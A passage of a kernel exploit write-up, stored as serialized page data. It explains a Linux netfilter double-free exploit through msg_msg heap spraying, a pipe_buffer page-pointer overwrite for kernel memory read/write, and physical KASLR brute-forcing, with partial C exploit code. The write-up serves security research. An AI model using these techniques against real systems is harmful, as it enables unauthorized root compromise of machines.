msg_msgseg",{"type":22,"tag":264,"props":58879,"children":58880},{"style":4293},[58881],{"type":27,"value":11115},{"type":22,"tag":264,"props":58883,"children":58884},{"style":1549},[58885],{"type":27,"value":58886},"next",{"type":22,"tag":264,"props":58888,"children":58889},{"style":1539},[58890],{"type":27,"value":4322},{"type":22,"tag":264,"props":58892,"children":58893},{"class":1534,"line":1612},[58894,58898,58902],{"type":22,"tag":264,"props":58895,"children":58896},{"style":4293},[58897],{"type":27,"value":52370},{"type":22,"tag":264,"props":58899,"children":58900},{"style":4309},[58901],{"type":27,"value":11115},{"type":22,"tag":264,"props":58903,"children":58904},{"style":1539},[58905],{"type":27,"value":58906},"security;\n",{"type":22,"tag":264,"props":58908,"children":58909},{"class":1534,"line":1621},[58910],{"type":22,"tag":264,"props":58911,"children":58912},{"style":4284},[58913],{"type":27,"value":58914}," /* the actual message follows immediately */\n",{"type":22,"tag":264,"props":58916,"children":58917},{"class":1534,"line":1629},[58918],{"type":22,"tag":264,"props":58919,"children":58920},{"style":1539},[58921],{"type":27,"value":17878},{"type":22,"tag":264,"props":58923,"children":58924},{"class":1534,"line":1642},[58925],{"type":22,"tag":264,"props":58926,"children":58927},{"style":1539},[58928],{"type":27,"value":11616},{"type":22,"tag":264,"props":58930,"children":58931},{"class":1534,"line":1660},[58932],{"type":22,"tag":264,"props":58933,"children":58934},{"style":1539},[58935],{"type":27,"value":58936},"struct list_head {\n",{"type":22,"tag":264,"props":58938,"children":58939},{"class":1534,"line":1668},[58940,58944,58948,58952,58956,58960,58964],{"type":22,"tag":264,"props":58941,"children":58942},{"style":4293},[58943],{"type":27,"value":22458},{"type":22,"tag":264,"props":58945,"children":58946},{"style":4722},[58947],{"type":27,"value":58825},{"type":22,"tag":264,"props":58949,"children":58950},{"style":4293},[58951],{"type":27,"value":11115},{"type":22,"tag":264,"props":58953,"children":58954},{"style":1549},[58955],{"type":27,"value":58886},{"type":22,"tag":264,"props":58957,"children":58958},{"style":1539},[58959],{"type":27,"value":4380},{"type":22,"tag":264,"props":58961,"children":58962},{"style":4309},[58963],{"type":27,"value":5865},{"type":22,"tag":264,"props":58965,"children":58966},{"style":1539},[58967],{"type":27,"value":58968},"prev;\n",{"type":22,"tag":264,"props":58970,"children":58971},{"class":1534,"line":1677},[58972],{"type":22,"tag":264,"props":58973,"children":58974},{"style":1539},[58975],{"type":27,"value":17878},{"type":22,"tag":23,"props":58977,"children":58978},{},[58979,58981,58987,58989,58994],{"type":27,"value":58980},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":22,"tag":257,"props":58982,"children":58984},{"className":58983},[],[58985],{"type":27,"value":58986},"mlist.next",{"type":27,"value":58988}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":22,"tag":257,"props":58990,"children":58992},{"className":58991},[],[58993],{"type":27,"value":58765},{"type":27,"value":58995}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":22,"tag":23,"props":58997,"children":58998},{},[58999,59001,59006,59008],{"type":27,"value":59000},"By incrementing the next pointer of our controllable ",{"type":22,"tag":257,"props":59002,"children":59004},{"className":59003},[],[59005],{"type":27,"value":58765},{"type":27,"value":59007}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":22,"tag":215,"props":59009,"children":59011},{"alt":51899,"src":59010},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":22,"tag":618,"props":59013,"children":59015},{"className":30424,"code":59014,"language":30426,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[59016],{"type":22,"tag":257,"props":59017,"children":59018},{"__ignoreMap":7},[59019,59026,59034,59060,59077,59125,59132,59172,59204,59211,59232,59239,59286,59350,59376,59422,59446,59490,59497,59505,59541,59565,59572,59592,59599],{"type":22,"tag":264,"props":59020,"children":59021},{"class":1534,"line":1535},[59022],{"type":22,"tag":264,"props":59023,"children":59024},{"style":1539},[59025],{"type":27,"value":11616},{"type":22,"tag":264,"props":59027,"children":59028},{"class":1534,"line":1545},[59029],{"type":22,"tag":264,"props":59030,"children":59031},{"style":1539},[59032],{"type":27,"value":59033},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":22,"tag":264,"props":59035,"children":59036},{"class":1534,"line":1560},[59037,59042,59046,59050,59055],{"type":22,"tag":264,"props":59038,"children":59039},{"style":1539},[59040],{"type":27,"value":59041},"    msg_t *msg = calloc(1, ",{"type":22,"tag":264,"props":59043,"children":59044},{"style":4722},[59045],{"type":27,"value":56649},{"type":22,"tag":264,"props":59047,"children":59048},{"style":1539},[59049],{"type":27,"value":2660},{"type":22,"tag":264,"props":59051,"children":59052},{"style":4722},[59053],{"type":27,"value":59054},"msg_t",{"type":22,"tag":264,"props":59056,"children":59057},{"style":1539},[59058],{"type":27,"value":59059},") + 0xe8 - 48);\n",{"type":22,"tag":264,"props":59061,"children":59062},{"class":1534,"line":1569},[59063,59067,59072],{"type":22,"tag":264,"props":59064,"children":59065},{"style":4293},[59066],{"type":27,"value":20382},{"type":22,"tag":264,"props":59068,"children":59069},{"style":1549},[59070],{"type":27,"value":59071}," qid",{"type":22,"tag":264,"props":59073,"children":59074},{"style":1539},[59075],{"type":27,"value":59076},"[SPRAY];\n",{"type":22,"tag":264,"props":59078,"children":59079},{"class":1534,"line":1583},[59080,59084,59088,59092,59096,59100,59104,59108,59112,59117,59121],{"type":22,"tag":264,"props":59081,"children":59082},{"style":4328},[59083],{"type":27,"value":4331},{"type":22,"tag":264,"props":59085,"children":59086},{"style":1539},[59087],{"type":27,"value":4370},{"type":22,"tag":264,"props":59089,"children":59090},{"style":4293},[59091],{"type":27,"value":20352},{"type":22,"tag":264,"props":59093,"children":59094},{"style":1539},[59095],{"type":27,"value":55865},{"type":22,"tag":264,"props":59097,"children":59098},{"style":4309},[59099],{"type":27,"value":429},{"type":22,"tag":264,"props":59101,"children":59102},{"style":4344},[59103],{"type":27,"value":4347},{"type":22,"tag":264,"props":59105,"children":59106},{"style":1539},[59107],{"type":27,"value":52554},{"type":22,"tag":264,"props":59109,"children":59110},{"style":4309},[59111],{"type":27,"value":7097},{"type":22,"tag":264,"props":59113,"children":59114},{"style":1539},[59115],{"type":27,"value":59116}," SPRAY; i",{"type":22,"tag":264,"props":59118,"children":59119},{"style":4309},[59120],{"type":27,"value":52590},{"type":22,"tag":264,"props":59122,"children":59123},{"style":1539},[59124],{"type":27,"value":4463},{"type":22,"tag":264,"props":59126,"children":59127},{"class":1534,"line":1603},[59128],{"type":22,"tag":264,"props":59129,"children":59130},{"style":1539},[59131],{"type":27,"value":1566},{"type":22,"tag":264,"props":59133,"children":59134},{"class":1534,"line":1612},[59135,59140,59144,59148,59153,59158,59163,59167],{"type":22,"tag":264,"props":59136,"children":59137},{"style":1549},[59138],{"type":27,"value":59139},"        qid",{"type":22,"tag":264,"props":59141,"children":59142},{"style":1539},[59143],{"type":27,"value":55917},{"type":22,"tag":264,"props":59145,"children":59146},{"style":4309},[59147],{"type":27,"value":429},{"type":22,"tag":264,"props":59149,"children":59150},{"style":4401},[59151],{"type":27,"value":59152}," msgget",{"type":22,"tag":264,"props":59154,"children":59155},{"style":1539},[59156],{"type":27,"value":59157},"(IPC_PRIVATE, ",{"type":22,"tag":264,"props":59159,"children":59160},{"style":4344},[59161],{"type":27,"value":59162},"0666",{"type":22,"tag":264,"props":59164,"children":59165},{"style":4309},[59166],{"type":27,"value":5563},{"type":22,"tag":264,"props":59168,"children":59169},{"style":1539},[59170],{"type":27,"value":59171}," IPC_CREAT);\n",{"type":22,"tag":264,"props":59173,"children":59174},{"class":1534,"line":1621},[59175,59179,59183,59188,59192,59196,59200],{"type":22,"tag":264,"props":59176,"children":59177},{"style":4328},[59178],{"type":27,"value":4575},{"type":22,"tag":264,"props":59180,"children":59181},{"style":1539},[59182],{"type":27,"value":4370},{"type":22,"tag":264,"props":59184,"children":59185},{"style":1549},[59186],{"type":27,"value":59187},"qid",{"type":22,"tag":264,"props":59189,"children":59190},{"style":1539},[59191],{"type":27,"value":55917},{"type":22,"tag":264,"props":59193,"children":59194},{"style":4309},[59195],{"type":27,"value":7097},{"type":22,"tag":264,"props":59197,"children":59198},{"style":4344},[59199],{"type":27,"value":4347},{"type":22,"tag":264,"props":59201,"children":59202},{"style":1539},[59203],{"type":27,"value":4463},{"type":22,"tag":264,"props":59205,"children":59206},{"class":1534,"line":1629},[59207],{"type":22,"tag":264,"props":59208,"children":59209},{"style":1539},[59210],{"type":27,"value":32974},{"type":22,"tag":264,"props":59212,"children":59213},{"class":1534,"line":1642},[59214,59219,59223,59228],{"type":22,"tag":264,"props":59215,"children":59216},{"style":4401},[59217],{"type":27,"value":59218},"            perror",{"type":22,"tag":264,"props":59220,"children":59221},{"style":1539},[59222],{"type":27,"value":2660},{"type":22,"tag":264,"props":59224,"children":59225},{"style":1597},[59226],{"type":27,"value":59227},"\"[-] msgget\"",{"type":22,"tag":264,"props":59229,"children":59230},{"style":1539},[59231],{"type":27,"value":5142},{"type":22,"tag":264,"props":59233,"children":59234},{"class":1534,"line":1660},[59235],{"type":22,"tag":264,"props":59236,"children":59237},{"style":1539},[59238],{"type":27,"value":4651},{"type":22,"tag":264,"props":59240,"children":59241},{"class":1534,"line":1668},[59242,59246,59250,59255,59259,59263,59268,59272,59277,59281],{"type":22,"tag":264,"props":59243,"children":59244},{"style":4309},[59245],{"type":27,"value":9045},{"type":22,"tag":264,"props":59247,"children":59248},{"style":1539},[59249],{"type":27,"value":2660},{"type":22,"tag":264,"props":59251,"children":59252},{"style":4293},[59253],{"type":27,"value":59254},"uint32_t",{"type":22,"tag":264,"props":59256,"children":59257},{"style":4309},[59258],{"type":27,"value":11115},{"type":22,"tag":264,"props":59260,"children":59261},{"style":1539},[59262],{"type":27,"value":2806},{"type":22,"tag":264,"props":59264,"children":59265},{"style":1549},[59266],{"type":27,"value":59267},"msg",{"type":22,"tag":264,"props":59269,"children":59270},{"style":1539},[59271],{"type":27,"value":15056},{"type":22,"tag":264,"props":59273,"children":59274},{"style":1549},[59275],{"type":27,"value":59276},"mtext",{"type":22,"tag":264,"props":59278,"children":59279},{"style":4309},[59280],{"type":27,"value":4312},{"type":22,"tag":264,"props":59282,"children":59283},{"style":1539},[59284],{"type":27,"value":59285}," i;\n",{"type":22,"tag":264,"props":59287,"children":59288},{"class":1534,"line":1677},[59289,59293,59297,59301,59305,59309,59313,59317,59321,59325,59329,59333,59337,59341,59346],{"type":22,"tag":264,"props":59290,"children":59291},{"style":4309},[59292],{"type":27,"value":9045},{"type":22,"tag":264,"props":59294,"children":59295},{"style":1539},[59296],{"type":27,"value":2660},{"type":22,"tag":264,"props":59298,"children":59299},{"style":4293},[59300],{"type":27,"value":56956},{"type":22,"tag":264,"props":59302,"children":59303},{"style":4309},[59304],{"type":27,"value":11115},{"type":22,"tag":264,"props":59306,"children":59307},{"style":1539},[59308],{"type":27,"value":2806},{"type":22,"tag":264,"props":59310,"children":59311},{"style":4309},[59312],{"type":27,"value":4413},{"type":22,"tag":264,"props":59314,"children":59315},{"style":1549},[59316],{"type":27,"value":59267},{"type":22,"tag":264,"props":59318,"children":59319},{"style":1539},[59320],{"type":27,"value":15056},{"type":22,"tag":264,"props":59322,"children":59323},{"style":1549},[59324],{"type":27,"value":59276},{"type":22,"tag":264,"props":59326,"children":59327},{"style":1539},[59328],{"type":27,"value":5045},{"type":22,"tag":264,"props":59330,"children":59331},{"style":4344},[59332],{"type":27,"value":5378},{"type":22,"tag":264,"props":59334,"children":59335},{"style":1539},[59336],{"type":27,"value":9956},{"type":22,"tag":264,"props":59338,"children":59339},{"style":4309},[59340],{"type":27,"value":429},{"type":22,"tag":264,"props":59342,"children":59343},{"style":4344},[59344],{"type":27,"value":59345}," 0xdeadbeefcafebabe",{"type":22,"tag":264,"props":59347,"children":59348},{"style":1539},[59349],{"type":27,"value":4322},{"type":22,"tag":264,"props":59351,"children":59352},{"class":1534,"line":1686},[59353,59358,59362,59367,59371],{"type":22,"tag":264,"props":59354,"children":59355},{"style":1549},[59356],{"type":27,"value":59357},"        msg",{"type":22,"tag":264,"props":59359,"children":59360},{"style":1539},[59361],{"type":27,"value":15056},{"type":22,"tag":264,"props":59363,"children":59364},{"style":1549},[59365],{"type":27,"value":59366},"mtype",{"type":22,"tag":264,"props":59368,"children":59369},{"style":4309},[59370],{"type":27,"value":4312},{"type":22,"tag":264,"props":59372,"children":59373},{"style":1539},[59374],{"type":27,"value":59375}," MTYPE_PRIMARY;\n",{"type":22,"tag":264,"props":59377,"children":59378},{"class":1534,"line":4948},[59379,59384,59388,59392,59397,59401,59405,59410,59414,59418],{"type":22,"tag":264,"props":59380,"children":59381},{"style":4401},[59382],{"type":27,"value":59383},"        msgsnd",{"type":22,"tag":264,"props":59385,"children":59386},{"style":1539},[59387],{"type":27,"value":2660},{"type":22,"tag":264,"props":59389,"children":59390},{"style":1549},[59391],{"type":27,"value":59187},{"type":22,"tag":264,"props":59393,"children":59394},{"style":1539},[59395],{"type":27,"value":59396},"[i], msg, ",{"type":22,"tag":264,"props":59398,"children":59399},{"style":4344},[59400],{"type":27,"value":57292},{"type":22,"tag":264,"props":59402,"children":59403},{"style":4309},[59404],{"type":27,"value":52576},{"type":22,"tag":264,"props":59406,"children":59407},{"style":4344},[59408],{"type":27,"value":59409}," 48",{"type":22,"tag":264,"props":59411,"children":59412},{"style":1539},[59413],{"type":27,"value":4380},{"type":22,"tag":264,"props":59415,"children":59416},{"style":4344},[59417],{"type":27,"value":5334},{"type":22,"tag":264,"props":59419,"children":59420},{"style":1539},[59421],{"type":27,"value":5142},{"type":22,"tag":264,"props":59423,"children":59424},{"class":1534,"line":4957},[59425,59429,59433,59437,59441],{"type":22,"tag":264,"props":59426,"children":59427},{"style":1549},[59428],{"type":27,"value":59357},{"type":22,"tag":264,"props":59430,"children":59431},{"style":1539},[59432],{"type":27,"value":15056},{"type":22,"tag":264,"props":59434,"children":59435},{"style":1549},[59436],{"type":27,"value":59366},{"type":22,"tag":264,"props":59438,"children":59439},{"style":4309},[59440],{"type":27,"value":4312},{"type":22,"tag":264,"props":59442,"children":59443},{"style":1539},[59444],{"type":27,"value":59445}," MTYPE_SECONDARY;\n",{"type":22,"tag":264,"props":59447,"children":59448},{"class":1534,"line":4980},[59449,59453,59457,59461,59465,59470,59474,59478,59482,59486],{"type":22,"tag":264,"props":59450,"children":59451},{"style":4401},[59452],{"type":27,"value":59383},{"type":22,"tag":264,"props":59454,"children":59455},{"style":1539},[59456],{"type":27,"value":2660},{"type":22,"tag":264,"props":59458,"children":59459},{"style":1549},[59460],{"type":27,"value":59187},{"type":22,"tag":264,"props":59462,"children":59463},{"style":1539},[59464],{"type":27,"value":59396},{"type":22,"tag":264,"props":59466,"children":59467},{"style":4344},[59468],{"type":27,"value":59469},"1024",{"type":22,"tag":264,"props":59471,"children":59472},{"style":4309},[59473],{"type":27,"value":52576},{"type":22,"tag":264,"props":59475,"children":59476},{"style":4344},[59477],{"type":27,"value":59409},{"type":22,"tag":264,"props":59479,"children":59480},{"style":1539},[59481],{"type":27,"value":4380},{"type":22,"tag":264,"props":59483,"children":59484},{"style":4344},[59485],{"type":27,"value":5334},{"type":22,"tag":264,"props":59487,"children":59488},{"style":1539},[59489],{"type":27,"value":5142},{"type":22,"tag":264,"props":59491,"children":59492},{"class":1534,"line":4989},[59493],{"type":22,"tag":264,"props":59494,"children":59495},{"style":1539},[59496],{"type":27,"value":1674},{"type":22,"tag":264,"props":59498,"children":59499},{"class":1534,"line":4998},[59500],{"type":22,"tag":264,"props":59501,"children":59502},{"style":4284},[59503],{"type":27,"value":59504},"    // Prepare evil msg\n",{"type":22,"tag":264,"props":59506,"children":59507},{"class":1534,"line":5067},[59508,59512,59517,59521,59525,59529,59533,59537],{"type":22,"tag":264,"props":59509,"children":59510},{"style":4293},[59511],{"type":27,"value":20382},{"type":22,"tag":264,"props":59513,"children":59514},{"style":1539},[59515],{"type":27,"value":59516}," evilqid ",{"type":22,"tag":264,"props":59518,"children":59519},{"style":4309},[59520],{"type":27,"value":429},{"type":22,"tag":264,"props":59522,"children":59523},{"style":4401},[59524],{"type":27,"value":59152},{"type":22,"tag":264,"props":59526,"children":59527},{"style":1539},[59528],{"type":27,"value":59157},{"type":22,"tag":264,"props":59530,"children":59531},{"style":4344},[59532],{"type":27,"value":59162},{"type":22,"tag":264,"props":59534,"children":59535},{"style":4309},[59536],{"type":27,"value":5563},{"type":22,"tag":264,"props":59538,"children":59539},{"style":1539},[59540],{"type":27,"value":59171},{"type":22,"tag":264,"props":59542,"children":59543},{"class":1534,"line":5075},[59544,59548,59553,59557,59561],{"type":22,"tag":264,"props":59545,"children":59546},{"style":4328},[59547],{"type":27,"value":13578},{"type":22,"tag":264,"props":59549,"children":59550},{"style":1539},[59551],{"type":27,"value":59552}," (evilqid ",{"type":22,"tag":264,"props":59554,"children":59555},{"style":4309},[59556],{"type":27,"value":7097},{"type":22,"tag":264,"props":59558,"children":59559},{"style":4344},[59560],{"type":27,"value":4347},{"type":22,"tag":264,"props":59562,"children":59563},{"style":1539},[59564],{"type":27,"value":4463},{"type":22,"tag":264,"props":59566,"children":59567},{"class":1534,"line":5105},[59568],{"type":22,"tag":264,"props":59569,"children":59570},{"style":1539},[59571],{"type":27,"value":1566},{"type":22,"tag":264,"props":59573,"children":59574},{"class":1534,"line":5113},[59575,59580,59584,59588],{"type":22,"tag":264,"props":59576,"children":59577},{"style":4401},[59578],{"type":27,"value":59579},"        perror",{"type":22,"tag":264,"props":59581,"children":59582},{"style":1539},[59583],{"type":27,"value":2660},{"type":22,"tag":264,"props":59585,"children":59586},{"style":1597},[59587],{"type":27,"value":59227},{"type":22,"tag":264,"props":59589,"children":59590},{"style":1539},[59591],{"type":27,"value":5142},{"type":22,"tag":264,"props":59593,"children":59594},{"class":1534,"line":5145},[59595],{"type":22,"tag":264,"props":59596,"children":59597},{"style":1539},[59598],{"type":27,"value":1674},{"type":22,"tag":264,"props":59600,"children":59601},{"class":1534,"line":5153},[59602],{"type":22,"tag":264,"props":59603,"children":59604},{"style":1539},[59605],{"type":27,"value":59606},"[...] // trigger double-free in kmalloc-256\n",{"type":22,"tag":181,"props":59608,"children":59610},{"id":59609},"using-pipe_buffer-page-pointer-for-physical-readwrite",[59611],{"type":27,"value":59612},"Using pipe_buffer->page pointer for physical read/write",{"type":22,"tag":23,"props":59614,"children":59615},{},[59616,59618,59624,59625,59631,59632,59638,59640,59646],{"type":27,"value":59617},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":22,"tag":257,"props":59619,"children":59621},{"className":59620},[],[59622],{"type":27,"value":59623},"kmalloc-1k",{"type":27,"value":12290},{"type":22,"tag":257,"props":59626,"children":59628},{"className":59627},[],[59629],{"type":27,"value":59630},"overlap pipe_buffer",{"type":27,"value":22811},{"type":22,"tag":257,"props":59633,"children":59635},{"className":59634},[],[59636],{"type":27,"value":59637},"skbuf",{"type":27,"value":59639}," data to control the ",{"type":22,"tag":257,"props":59641,"children":59643},{"className":59642},[],[59644],{"type":27,"value":59645},"page",{"type":27,"value":59647}," field.",{"type":22,"tag":23,"props":59649,"children":59650},{},[59651,59652,59657,59659,59665,59667],{"type":27,"value":17914},{"type":22,"tag":257,"props":59653,"children":59655},{"className":59654},[],[59656],{"type":27,"value":59645},{"type":27,"value":59658}," field is a pointer into ",{"type":22,"tag":257,"props":59660,"children":59662},{"className":59661},[],[59663],{"type":27,"value":59664},"vmemmap_base",{"type":27,"value":59666},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":22,"tag":215,"props":59668,"children":59670},{"alt":51899,"src":59669},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":22,"tag":23,"props":59672,"children":59673},{},[59674,59676,59681],{"type":27,"value":59675},"This now allows us to navigate the ",{"type":22,"tag":257,"props":59677,"children":59679},{"className":59678},[],[59680],{"type":27,"value":59664},{"type":27,"value":59682}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":22,"tag":181,"props":59684,"children":59686},{"id":59685},"bruteforce-physical-kernel-base",[59687],{"type":27,"value":59688},"Bruteforce physical kernel base",{"type":22,"tag":23,"props":59690,"children":59691},{},[59692,59694,59700,59702,59707,59709,59715],{"type":27,"value":59693},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":22,"tag":257,"props":59695,"children":59697},{"className":59696},[],[59698],{"type":27,"value":59699},"modprobe_path",{"type":27,"value":59701},". Keep in mind that simply searching page by page from the start of ",{"type":22,"tag":257,"props":59703,"children":59705},{"className":59704},[],[59706],{"type":27,"value":59664},{"type":27,"value":59708}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":22,"tag":257,"props":59710,"children":59712},{"className":59711},[],[59713],{"type":27,"value":59714},"PHYSICAL_ALIGN",{"type":27,"value":59716}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":22,"tag":618,"props":59718,"children":59720},{"className":30424,"code":59719,"language":30426,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[59721],{"type":22,"tag":257,"props":59722,"children":59723},{"__ignoreMap":7},[59724,59731,59739,59747,59771,59804,59824,59864,59871,59915,59949,59976,60012,60019,60065,60072,60102,60115,60180,60187,60199,60207,60214,60221,60247,60254,60274,60286,60293,60300,60307],{"type":22,"tag":264,"props":59725,"children":59726},{"class":1534,"line":1535},[59727],{"type":22,"tag":264,"props":59728,"children":59729},{"style":1539},[59730],{"type":27,"value":11616},{"type":22,"tag":264,"props":59732,"children":59733},{"class":1534,"line":1545},[59734],{"type":22,"tag":264,"props":59735,"children":59736},{"style":1539},[59737],{"type":27,"value":59738},"// Bruteforce phys-KASLR\n",{"type":22,"tag":264,"props":59740,"children":59741},{"class":1534,"line":1560},[59742],{"type":22,"tag":264,"props":59743,"children":59744},{"style":1539},[59745],{"type":27,"value":59746},"    uint64_t kernel_base;\n",{"type":22,"tag":264,"props":59748,"children":59749},{"class":1534,"line":1569},[59750,59754,59759,59763,59767],{"type":22,"tag":264,"props":59751,"children":59752},{"style":4293},[59753],{"type":27,"value":47793},{"type":22,"tag":264,"props":59755,"children":59756},{"style":1539},[59757],{"type":27,"value":59758}," found ",{"type":22,"tag":264,"props":59760,"children":59761},{"style":4309},[59762],{"type":27,"value":429},{"type":22,"tag":264,"props":59764,"children":59765},{"style":4293},[59766],{"type":27,"value":10354},{"type":22,"tag":264,"props":59768,"children":59769},{"style":1539},[59770],{"type":27,"value":4322},{"type":22,"tag":264,"props":59772,"children":59773},{"class":1534,"line":1583},[59774,59779,59783,59788,59792,59796,59800],{"type":22,"tag":264,"props":59775,"children":59776},{"style":4293},[59777],{"type":27,"value":59778},"    uint8_t",{"type":22,"tag":264,"props":59780,"children":59781},{"style":1549},[59782],{"type":27,"value":16404},{"type":22,"tag":264,"props":59784,"children":59785},{"style":1539},[59786],{"type":27,"value":59787},"[PAGE_SIZE] ",{"type":22,"tag":264,"props":59789,"children":59790},{"style":4309},[59791],{"type":27,"value":429},{"type":22,"tag":264,"props":59793,"children":59794},{"style":1539},[59795],{"type":27,"value":46537},{"type":22,"tag":264,"props":59797,"children":59798},{"style":4344},[59799],{"type":27,"value":5334},{"type":22,"tag":264,"props":59801,"children":59802},{"style":1539},[59803],{"type":27,"value":17878},{"type":22,"tag":264,"props":59805,"children":59806},{"class":1534,"line":1603},[59807,59811,59815,59820],{"type":22,"tag":264,"props":59808,"children":59809},{"style":4401},[59810],{"type":27,"value":56828},{"type":22,"tag":264,"props":59812,"children":59813},{"style":1539},[59814],{"type":27,"value":2660},{"type":22,"tag":264,"props":59816,"children":59817},{"style":1597},[59818],{"type":27,"value":59819},"\"[*] bruteforce phys-KASLR\"",{"type":22,"tag":264,"props":59821,"children":59822},{"style":1539},[59823],{"type":27,"value":5142},{"type":22,"tag":264,"props":59825,"children":59826},{"class":1534,"line":1612},[59827,59831,59835,59839,59843,59847,59851,59856,59860],{"type":22,"tag":264,"props":59828,"children":59829},{"style":4328},[59830],{"type":27,"value":4331},{"type":22,"tag":264,"props":59832,"children":59833},{"style":1539},[59834],{"type":27,"value":4370},{"type":22,"tag":264,"props":59836,"children":59837},{"style":4293},[59838],{"type":27,"value":56956},{"type":22,"tag":264,"props":59840,"children":59841},{"style":1539},[59842],{"type":27,"value":55865},{"type":22,"tag":264,"props":59844,"children":59845},{"style":4309},[59846],{"type":27,"value":429},{"type":22,"tag":264,"props":59848,"children":59849},{"style":4344},[59850],{"type":27,"value":4347},{"type":22,"tag":264,"props":59852,"children":59853},{"style":1539},[59854],{"type":27,"value":59855},";; i",{"type":22,"tag":264,"props":59857,"children":59858},{"style":4309},[59859],{"type":27,"value":52590},{"type":22,"tag":264,"props":59861,"children":59862},{"style":1539},[59863],{"type":27,"value":4463},{"type":22,"tag":264,"props":59865,"children":59866},{"class":1534,"line":1621},[59867],{"type":22,"tag":264,"props":59868,"children":59869},{"style":1539},[59870],{"type":27,"value":1566},{"type":22,"tag":264,"props":59872,"children":59873},{"class":1534,"line":1629},[59874,59879,59883,59888,59892,59897,59901,59906,59910],{"type":22,"tag":264,"props":59875,"children":59876},{"style":1539},[59877],{"type":27,"value":59878},"        kernel_base ",{"type":22,"tag":264,"props":59880,"children":59881},{"style":4309},[59882],{"type":27,"value":429},{"type":22,"tag":264,"props":59884,"children":59885},{"style":4344},[59886],{"type":27,"value":59887}," 0x40",{"type":22,"tag":264,"props":59889,"children":59890},{"style":4309},[59891],{"type":27,"value":11115},{"type":22,"tag":264,"props":59893,"children":59894},{"style":1539},[59895],{"type":27,"value":59896}," ((PHYSICAL_ALIGN ",{"type":22,"tag":264,"props":59898,"children":59899},{"style":4309},[59900],{"type":27,"value":5865},{"type":22,"tag":264,"props":59902,"children":59903},{"style":1539},[59904],{"type":27,"value":59905}," i) ",{"type":22,"tag":264,"props":59907,"children":59908},{"style":4309},[59909],{"type":27,"value":14059},{"type":22,"tag":264,"props":59911,"children":59912},{"style":1539},[59913],{"type":27,"value":59914}," PAGE_SHIFT);\n",{"type":22,"tag":264,"props":59916,"children":59917},{"class":1534,"line":1642},[59918,59923,59927,59931,59935,59940,59944],{"type":22,"tag":264,"props":59919,"children":59920},{"style":1549},[59921],{"type":27,"value":59922},"        pipebuf",{"type":22,"tag":264,"props":59924,"children":59925},{"style":1539},[59926],{"type":27,"value":15056},{"type":22,"tag":264,"props":59928,"children":59929},{"style":1549},[59930],{"type":27,"value":59645},{"type":22,"tag":264,"props":59932,"children":59933},{"style":4309},[59934],{"type":27,"value":4312},{"type":22,"tag":264,"props":59936,"children":59937},{"style":1539},[59938],{"type":27,"value":59939}," vmemmap_base ",{"type":22,"tag":264,"props":59941,"children":59942},{"style":4309},[59943],{"type":27,"value":673},{"type":22,"tag":264,"props":59945,"children":59946},{"style":1539},[59947],{"type":27,"value":59948}," kernel_base;\n",{"type":22,"tag":264,"props":59950,"children":59951},{"class":1534,"line":1660},[59952,59956,59960,59964,59968,59972],{"type":22,"tag":264,"props":59953,"children":59954},{"style":1549},[59955],{"type":27,"value":59922},{"type":22,"tag":264,"props":59957,"children":59958},{"style":1539},[59959],{"type":27,"value":15056},{"type":22,"tag":264,"props":59961,"children":59962},{"style":1549},[59963],{"type":27,"value":15200},{"type":22,"tag":264,"props":59965,"children":59966},{"style":4309},[59967],{"type":27,"value":4312},{"type":22,"tag":264,"props":59969,"children":59970},{"style":4344},[59971],{"type":27,"value":4347},{"type":22,"tag":264,"props":59973,"children":59974},{"style":1539},[59975],{"type":27,"value":4322},{"type":22,"tag":264,"props":59977,"children":59978},{"class":1534,"line":1668},[59979,59983,59987,59991,59995,60000,60004,60008],{"type":22,"tag":264,"props":59980,"children":59981},{"style":1549},[59982],{"type":27,"value":59922},{"type":22,"tag":264,"props":59984,"children":59